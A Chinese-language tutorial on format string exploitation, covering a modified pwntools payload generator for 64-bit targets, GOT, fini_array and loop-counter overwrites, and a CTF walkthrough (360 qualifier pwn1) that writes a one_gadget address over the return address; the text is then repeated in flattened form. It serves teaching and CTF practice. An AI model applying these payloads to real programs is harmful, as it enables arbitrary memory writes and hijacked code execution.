格式化字符串总结
字数 1556 2025-08-24 20:49:31

格式化字符串漏洞利用全面指南

一、格式化字符串基础原理

格式化字符串漏洞是由于程序使用用户可控数据作为printf等函数的格式化参数导致的。攻击者可以利用这个漏洞实现:

  1. 内存读取(信息泄露)
  2. 内存写入(任意地址写)
  3. 程序流程控制

二、Payload生成机制

1. 32位与64位差异

  • 32位系统:参数通过栈传递,地址可以直接放在格式化字符串前面
  • 64位系统:前6个参数通过寄存器传递,地址中的NULL字节会导致截断问题,需要将地址放在payload后面

2. 改进的Payload生成代码

作者改进了pwntools的fmtstr_payload函数,使其支持64位系统:

def fmtstr_payload(offset, writes, numbwritten=0, write_size='byte'):
    config = {
        32: {
            'byte': (4, 1, 0xFF, 'hh', 8),
            'short': (2, 2, 0xFFFF, 'h', 16),
            'int': (1, 4, 0xFFFFFFFF, '', 32)},
        64: {
            'byte': (8, 1, 0xFF, 'hh', 8),
            'short': (4, 2, 0xFFFF, 'h', 16),
            'int': (2, 4, 0xFFFFFFFF, '', 32)
        }
    }
    
    number, step, mask, formatz, decalage = config[context.bits][write_size]
    
    payload = ""
    fmtCount = 0
    part = []
    
    # 收集地址和值并排序
    for where, what in writes.items():
        for i in range(0, number * step, step):
            current = what & mask
            part.append((current, pack(where + i)))
            what >>= decalage
    part.sort(key=lambda tup: tup[0])
    
    # 生成格式化字符串部分
    size = [x[0] for x in part]
    for i in range(0, number):
        if numbwritten & mask <= size[i]:
            to_add = size[i] - (numbwritten & mask)
        else:
            to_add = (size[i] | (mask + 1)) - (numbwritten & mask)
        if to_add != 0:
            payload += "%{}c".format(to_add)
        payload += "%{}${}n".format(offset + fmtCount, formatz)
        numbwritten += to_add
        fmtCount += 1
    
    # 地址对齐
    align = 0x10 - (len(payload) & 0xf)
    payload += align * 'a'
    numbwritten += align
    
    # 添加地址部分
    addr = ''.join(x[1] for x in part)
    payload += addr
    return payload

3. 关键改进点

  1. 地址后置:将地址放在payload末尾避免64位的NULL截断问题
  2. 值排序:按写入值从小到大排序,确保正确写入
  3. 地址对齐:确保地址部分正确对齐

三、写入大小控制

代码支持三种写入粒度:

类型 32位配置 64位配置
byte (4, 1, 0xFF, 'hh', 8) (8, 1, 0xFF, 'hh', 8)
short (2, 2, 0xFFFF, 'h', 16) (4, 2, 0xFFFF, 'h', 16)
int (1, 4, 0xFFFFFFFF, '', 32) (2, 4, 0xFFFFFFFF, '', 32)

参数含义:(number, step, mask, format, decalage)

四、高级利用技巧

1. GOT表攻击

  • 前提:RELRO保护未开启
  • 方法:覆盖GOT表中的函数指针(如atoi)为system
  • 优势:可以直接通过参数传递实现命令执行

2. fini_array攻击

  • 原理:程序退出前会调用fini_array中的函数指针
  • 利用:覆盖这些指针实现二次利用漏洞

3. 循环条件攻击

  • 方法:覆盖循环条件变量(如全局变量N或i)
  • 效果:增加漏洞利用次数

五、实战案例:360初赛-pwn1分析

1. 漏洞分析

  • 漏洞函数:printf(buff),buff在.bss段
  • 限制条件:只能循环3次,每次输入长度受限

2. 利用步骤

  1. 信息泄露

    • 泄露栈地址和libc地址
    • 计算关键位置:返回地址、循环变量i地址
  2. 绕过次数限制

    • 找到存储循环变量i的地址
    • 通过格式化字符串修改i值为负数
  3. 控制流劫持

    • 定位返回地址位置
    • 分两次写入one_gadget地址(先低16位,再高16位)

3. 关键payload构造

# 修改循环变量i
write(0xffff & count + 2, 0xffff)

# 写入one_gadget到返回地址
write(0xffff & ret, 0xffff & one_gadget)
write((0xffff & ret) + 2, (0xffff0000 & one_gadget) >> 16)

六、调试技巧

  1. 使用Pwngdb

    • stack命令查看栈布局
    • fmtarg命令计算格式化字符串偏移
  2. 偏移计算

    • 32位:参数从栈顶开始计算
    • 64位:前6个参数在寄存器,之后在栈中
  3. 常见问题

    • 64位地址中的NULL字节问题
    • 写入顺序导致的数值覆盖问题
    • 栈对齐问题

七、防御措施

  1. 始终使用固定字符串作为格式化参数
  2. 开启RELRO保护防止GOT表修改
  3. 使用编译器的安全选项(如FORTIFY_SOURCE)
  4. 对用户输入进行严格过滤

八、总结

格式化字符串漏洞利用的核心在于:

  1. 理解参数传递机制(32位与64位差异)
  2. 掌握内存读写原理(%n格式化符)
  3. 灵活运用各种利用技巧(GOT覆盖、循环条件修改等)
  4. 熟练使用调试工具快速定位关键偏移

通过改进的payload生成工具和系统化的利用方法,可以高效地利用格式化字符串漏洞实现各种攻击目标。

格式化字符串漏洞利用全面指南 一、格式化字符串基础原理 格式化字符串漏洞是由于程序使用用户可控数据作为printf等函数的格式化参数导致的。攻击者可以利用这个漏洞实现: 内存读取(信息泄露) 内存写入(任意地址写) 程序流程控制 二、Payload生成机制 1. 32位与64位差异 32位系统 :参数通过栈传递,地址可以直接放在格式化字符串前面 64位系统 :前6个参数通过寄存器传递,地址中的NULL字节会导致截断问题,需要将地址放在payload后面 2. 改进的Payload生成代码 作者改进了pwntools的 fmtstr_payload 函数,使其支持64位系统: 3. 关键改进点 地址后置 :将地址放在payload末尾避免64位的NULL截断问题 值排序 :按写入值从小到大排序,确保正确写入 地址对齐 :确保地址部分正确对齐 三、写入大小控制 代码支持三种写入粒度: | 类型 | 32位配置 | 64位配置 | |--------|--------------------------|--------------------------| | byte | (4, 1, 0xFF, 'hh', 8) | (8, 1, 0xFF, 'hh', 8) | | short | (2, 2, 0xFFFF, 'h', 16) | (4, 2, 0xFFFF, 'h', 16) | | int | (1, 4, 0xFFFFFFFF, '', 32) | (2, 4, 0xFFFFFFFF, '', 32) | 参数含义:(number, step, mask, format, decalage) 四、高级利用技巧 1. GOT表攻击 前提:RELRO保护未开启 方法:覆盖GOT表中的函数指针(如atoi)为system 优势:可以直接通过参数传递实现命令执行 2. fini_ array攻击 原理:程序退出前会调用fini_ array中的函数指针 利用:覆盖这些指针实现二次利用漏洞 3. 循环条件攻击 方法:覆盖循环条件变量(如全局变量N或i) 效果:增加漏洞利用次数 五、实战案例:360初赛-pwn1分析 1. 漏洞分析 漏洞函数: printf(buff) ,buff在.bss段 限制条件:只能循环3次,每次输入长度受限 2. 利用步骤 信息泄露 : 泄露栈地址和libc地址 计算关键位置:返回地址、循环变量i地址 绕过次数限制 : 找到存储循环变量i的地址 通过格式化字符串修改i值为负数 控制流劫持 : 定位返回地址位置 分两次写入one_ gadget地址(先低16位,再高16位) 3. 关键payload构造 六、调试技巧 使用Pwngdb : stack 命令查看栈布局 fmtarg 命令计算格式化字符串偏移 偏移计算 : 32位:参数从栈顶开始计算 64位:前6个参数在寄存器,之后在栈中 常见问题 : 64位地址中的NULL字节问题 写入顺序导致的数值覆盖问题 栈对齐问题 七、防御措施 始终使用固定字符串作为格式化参数 开启RELRO保护防止GOT表修改 使用编译器的安全选项(如FORTIFY_ SOURCE) 对用户输入进行严格过滤 八、总结 格式化字符串漏洞利用的核心在于: 理解参数传递机制(32位与64位差异) 掌握内存读写原理(%n格式化符) 灵活运用各种利用技巧(GOT覆盖、循环条件修改等) 熟练使用调试工具快速定位关键偏移 通过改进的payload生成工具和系统化的利用方法,可以高效地利用格式化字符串漏洞实现各种攻击目标。